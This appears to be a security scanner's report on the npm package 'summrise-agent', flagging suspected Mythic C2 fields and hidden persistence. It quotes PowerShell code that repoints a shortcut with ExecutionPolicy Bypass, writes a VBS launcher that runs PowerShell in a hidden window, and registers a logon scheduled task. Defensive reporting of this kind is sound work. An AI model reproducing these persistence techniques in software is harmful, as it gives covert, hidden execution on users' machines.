summrise-agent 1.2.481
Mythic C2 fields, hidden persistence
“Summrise Agent — Windows device MCP server (terminal/SSH/serial) + panel. Self-hosted npm distribution.”
WScript shell runs cmd or PowerShell hiddenHidden Run of cmd or PowerShell
SHA-256942c5fc5cd15f240fffa8244c5c737d709d8a3a988b22df4924707fd50623345
Evidence
7:16… enumerable: true, get: function() { return m[k]; } };
8 }
9 Object.defineProperty(o, k2, desc);
10}) : (function(o, m, k, k2) {
11 if (k2 === undefined) k2 = k;
12 o[k2] = m[k];
13}));
14var __setModuleDefault = (this && this. …
21:37… rtyNames || function (o) {
22 var ar = [];
23 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
24 return ar;
25 };
26 return ownKeys(o);
27 };
28 return function ( …
⋯4 lines
33 return result;
34 };
35})();
36Object.defineProperty(exports, "__esModule", { value: true });
37exports.BOOT_TASKS = exports.psq = void 0;
⋯8 lines
321:33… tart-desktop.ps1'`,
322 `$dNeed = $false`,
323 `if (Test-Path $dLnk) {`,
324 ` try { $dEx = (New-Object -ComObject WScript.Shell).CreateShortcut($dLnk); if (($dEx.TargetPath -like '*summrise-desktop.exe') -or ($dEx.TargetPath -like '*summrise-tray.exe') -or (-not (Test-Path $dEx.TargetPath))) { $dNeed = $true } } catch { $dNeed = $true }`,
325 `}`,
326 `if ($dNeed -and (Test-Path $dIco) -and (Test-Path $dPs1)) {`,
327 ` try { $dWs = New-Object -ComObject WScript.Shell; $dSc = $dWs.CreateShortcut($dLnk); $dSc.TargetPath = Join-Path $env:SystemRoot 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'; $dSc.Arguments = '-NoProfile -ExecutionPolicy Bypass -File "' + $dPs1 + '"'; $dSc.WorkingDirectory = '${deskDirQ}'; $dSc.IconLocation = $dIco + ',0'; $dSc.Save(); 'desk: Summrise.lnk repointed to electron shell' | ${sink} } catch { ('desk: Summrise.lnk repair failed: ' + $_.Exception.Message) | ${sink} }`,
328 `}`,
329 `foreach ($dRx in @('summrise-desktop.exe','summrise-tray.exe')) { $dRp = '${deskDirQ}\\' + $dRx; if (Test-Path $dRp) { try { Remove-Item -Force -ErrorAction Stop $dRp; ('desk: removed retired ' + $dRx) | ${sink} } catch { ('desk: retired ' + $dRx + ' locked, kept') | ${sink} } } }`,
330 ];
331}
332// expo …
356:36… Stop'",
357 `$q = '${installQ}'`,
358 `$en = Join-Path $q 'scripts\\ensure-desktop.ps1'`,
359 `$vb = Join-Path $q 'scripts\\desktop-pulse.vbs'`,
360 `Set-Content -Path $en -Value ('if (Get-Process electron -ErrorAction SilentlyContinue) { exit }; & powershell -NoProfile -ExecutionPolicy Bypass -File "' + $q + '\\scripts\\start-desktop.ps1"') -Force`,
361 `Set-Content -Path $vb -Value ('CreateObject("WScript.Shell").Run "powershell -NoProfile -ExecutionPolicy Bypass -File " & Chr(34) & "' + $en + '" & Chr(34), 0, False') -Force`,
362 `$da = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument ('"' + $vb + '"') -WorkingDirectory $q`,
363 `$dt1 = New-ScheduledTaskTrigger -AtLogOn`,
364 `$dw1 = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes …
Showing the top 5 files — 1 more file (22 regions) not shown.
No evidence locations were recorded for this file. Raw result